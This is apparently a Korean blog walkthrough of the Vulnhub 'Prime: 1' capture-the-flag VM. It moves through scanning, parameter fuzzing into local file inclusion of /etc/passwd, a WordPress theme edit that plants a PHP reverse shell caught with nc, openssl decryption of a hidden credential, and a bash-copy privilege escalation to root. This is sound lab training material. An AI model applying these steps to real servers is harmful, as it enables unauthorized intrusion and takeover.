Vulnhub

[Vulnhub] Prime: 1 Walkthrough

jeff_kim 2024. 6. 29. 16:21

https://www.vulnhub.com/entry/prime-1,358/

 

Prime: 1

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

어떤 네트워크에 실습 VM이 있어도 해당 네트워크에서 실습을 할 수 도있도록 칼리에 NIC 를 다 연결을 해놓고 실습을 진행했습니다

 

실습 환경 : VirtualBox(Kali), VMware Workstation 17 (실습 VM)

 

Reconnaissance

└─$ sudo nmap -sn 192.168.56.0/24 -oA ./recon/56.0-ping    
...
Nmap scan report for 192.168.56.107
Host is up (0.00030s latency).
MAC Address: 00:0C:29:50:85:B7 (VMware)
...

전체 네트워크 포트를 스캔한 후에 22번, 80번 포트가 열려 있는 것을 확인, 디테일하게 스캔해보겠습니다

 

 

SSH

먼저 접속을 한번 해봅니다

여기서 얻을 수 있는 정보는 퍼블릭키와 비밀번호로 접근할 수 있다는 점입니다

 

WEB

80번 포트가 열려으니 직접 접속해봅니다

페이지 소스와 robots.txt 에서는 별다른 특이점이 없으니 gobuster 툴을 이용하여 디렉터리 브루트 포싱을 진행해보겠습니다

 

/dev 엔드포인트 입니다 

wordpress로 구성된 블로그도 서버에 구성되어있군요 wpscan을 이용하여 취약점이 있는지 분석해보겠습니다

 

Vulnerability

딱히 크게 찾은건 없고, victor 유저만 찾았습니다 

혹시 몰라서 gobuste 툴을 다시 사용해봤는데 /wordpress 를추가해서는 별 소득이 없었고 확장자를 추가로 지정해서 검색을 다시 해봤습니다

┌──(kali㉿kali)-[~/vulnhub/prime]                                                                                                                            
└─$ gobuster dir -u http://192.168.56.107 -w /usr/share/dirb/wordlists/common.txt -t 4 -x html,txt,php                                                       
===============================================================                                                                                              
Gobuster v3.6                                                                 
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)                 
===============================================================                                                                                              
[+] Url:                     http://192.168.56.107                            
[+] Method:                  GET                                              
[+] Threads:                 4                                                                                                                               
[+] Wordlist:                /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes:   404                                              
[+] User Agent:              gobuster/3.6                    
[+] Extensions:              html,txt,php                      
[+] Timeout:                 10s                                              
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 279]
/.html                (Status: 403) [Size: 279]
/.hta.txt             (Status: 403) [Size: 279]
/.hta                 (Status: 403) [Size: 279]
/.hta.php             (Status: 403) [Size: 279]
/.hta.html            (Status: 403) [Size: 279]
/.htaccess            (Status: 403) [Size: 279]
/.htaccess.txt        (Status: 403) [Size: 279]
/.htaccess.html       (Status: 403) [Size: 279]
/.htaccess.php        (Status: 403) [Size: 279]
/.htpasswd            (Status: 403) [Size: 279]
/.htpasswd.html       (Status: 403) [Size: 279]
/.htpasswd.txt        (Status: 403) [Size: 279]
/.htpasswd.php        (Status: 403) [Size: 279]
/dev                  (Status: 200) [Size: 131]
/index.php            (Status: 200) [Size: 136]
/index.php            (Status: 200) [Size: 136]
/image.php            (Status: 200) [Size: 147]                               
/javascript           (Status: 301) [Size: 321] [--> http://192.168.56.107/javascript/]
/server-status        (Status: 403) [Size: 279]                               
/secret.txt           (Status: 200) [Size: 412]
/wordpress            (Status: 301) [Size: 320] [--> http://192.168.56.107/wordpress/]
Progress: 18456 / 18460 (99.98%)                                              
===============================================================
Finished                                                                      
===============================================================

 

image.php

secret.txt

를 추가로 더 찾았습니다 image.php에서는 소득이 없네요

 

wfuzz 툴을 한번 이용해보라는 힌트를 주네요 그리고 location.txt 를 보면 다음으로 이동할 수 있다고 합니다

힌트 웹사이트를 보고 한번 wfuzz를 이용해서 브루트포싱을 진행해봅니다

 

 

951개가 떳는데요, 공통적으로 word가 모두 12W 입니다 그것을 다시 필터링 걸어서 다시 한번 해봅니다

딱 하나 file 이라는 payload가 떳습니다

file 파라미터를 넣어서 한번 시도해보니 뭔가 떳네요!!

아까 힌트에서 location.txt를 넣으면 다음으로 넘어 갈 수 있다고 했죠

secrettier360 파라미터를 다른 php 페이지에서 사용해보라고 합니다 그럼 image.php 밖에 없겠죠

네 올바른 파라미터를 찾았습니다

 

그럼...

이제

 

wfuzz를 다시 사용해봅시다

이번엔 17W 를 필터링 해보겠습니다

dev 라고 합니다

음 이 글은 /dev 웹사이트의 페이지 글이었죠??

개념 증명용 /etc/passwd 파일을 확인한 것입니다

password.txt. 파일은 자신의 디렉터리에서 확인할 수 있다고 합니다 /home/saket 이겠죠

 

password입니다 어디든 한번 시도해보겠습니다

# credentials

?:follow_the_ippsec

# username
saket
victor

네 SSH는 아니 었고, victor의 wordpress 비밀번호 였네요!!

# wordpress credentials

victor:follow_the_ippsec

 

 

 

Exploitation

wordpress admin 대시보드에서 theme 수정하는 부분에서 secret.php 에 대한 코드를 얻었습니다

저는 리버스쉘을 획득하기 위해서 php-reverse-shell.php를 가져와서 붙여넣어보겠습니다

└─$ cp /usr/share/webshells/php/php-reverse-shell.php .

└─$ nc -nlvp 7777                                              
listening on [any] 7777 ...

IP와 Port를 바꾸고 nc를 통해서 리스닝해주겠습니다

이후에 코드를 업로드 해줍니다 후에 그 경로로 들어가야 리버스쉘이 트리거 되는데 그 경로는 wpscan한 결과에서 얻을 수 있습니다

/wordpress/wp-content/themes/twentynineteen/ 이 경로에 secret.php를 추가하면 되겠죠?

 

 

Privilage Escalation

www-data@ubuntu:/home/saket$ cat ./user.txt
cat ./user.txt
af3c658dcf9d7190da3153519c003456
www-data@ubuntu:/home/saket$ cat password.txt
cat password.txt
follow_the_ippsec

saket 유저의 홈디렉터리에 들어와 enc 라는 파일을 보려했는데 권한이 없었고 sudo -l 을 했는데 우연히 sudo를 사용할 수 있게 되어있네요

 

근데 패스워드를 쳐야해서 뭔가 이상,...하네요...

Enumerating further a backup_pass file is found in /opt/backup/server_database with credentials for “enc” executable.

검색해보니 원래 이런 문구가 나와야한다고 합니다!! 그렇죠 뭔가 이상했어요,,,ㅎ

backup_password 한번 입력해볼까요?

www-data@ubuntu:/home/saket$ cat enc.txt
cat enc.txt
nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=
www-data@ubuntu:/home/saket$ cat key.txt
cat key.txt
I know you are the fan of ippsec.

So convert string "ippsec" into md5 hash and use it to gain yourself in your real form.

하나는 base64로 암호화된 문자 같고,, 머지 하나는 md5로 변환 시키라고 하네요

 

# ippsec -> MD5

└─$ echo -n 'ippsec' | md5sum 
366a74cb3c959de17d61db30591c39d1  -

그냥 디코딩은 안되는 것으로 보이네요,, 일반적으로 디코딩은 안되고 AES-256-ECB 알고리즘을 사용하여 암호화 되어있다고 하네요

 

암호문을 해독하기 위해 hex로 된 키 값이 필요한데, ippsec을 md5 로 만든 것을 hex로 변환 시켜준다

└─$ echo -n '366a74cb3c959de17d61db30591c39d1' | od -A n -t x1
 33 36 36 61 37 34 63 62 33 63 39 35 39 64 65 31
 37 64 36 31 64 62 33 30 35 39 31 63 33 39 64 31

 

이제 저 문자열을 해독하기 위해서 쓰이는 방법

1. base64 암호문 -> openssl로 넘긴다

2. openssl로 넘긴 암호문 -> openssl 암호화 방식 aes-256-ecb를 사용

-d : 복호화 한다

-a : 작업 전 후 과정에서 base64 인코딩을 적용한다

3. 복호화를 위한 키(-k) 는 위의 hex 값 > base64로 넘긴 후 > base64로 디코딩

 

좀..,,,많이 어려운 개념이다

이부분은 암호학 같은데 다시 공부를 해봐야겠다

 

└─$ cat md5_hex.txt | tr -d ' ' | paste -s -d ''
3336366137346362336339353964653137643631646233303539316333396431

└─$ echo 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -aes-256-ecb -d -a -K '3336366137346362336339353964653137643631646233303539316333396431' | base64 | base64 --decode
Dont worry saket one day we will reach to
our destination very soon. And if you forget 
your username then use your old password
==> "tribute_to_ippsec"

Victor,

/tmp/challenge를 찾을 수 없다.. /home/victor/undefeated_victor 이게 /tmp/challenge로 실행되나 보네요

SUID 설정도 되어있어요!!

저는 간단하게 하는걸 좋아해서 

/bin/bah 를 그대로 복사해서 넘겨주죠,,ㅎ

saket@ubuntu:~$ cp /bin/bash /tmp/challenge

 

root@ubuntu:/root# cat root.txt
cat root.txt
b2b17036da1de94cfb024540a8e7075a

user, root flag 모두 획득 완료 했습니다!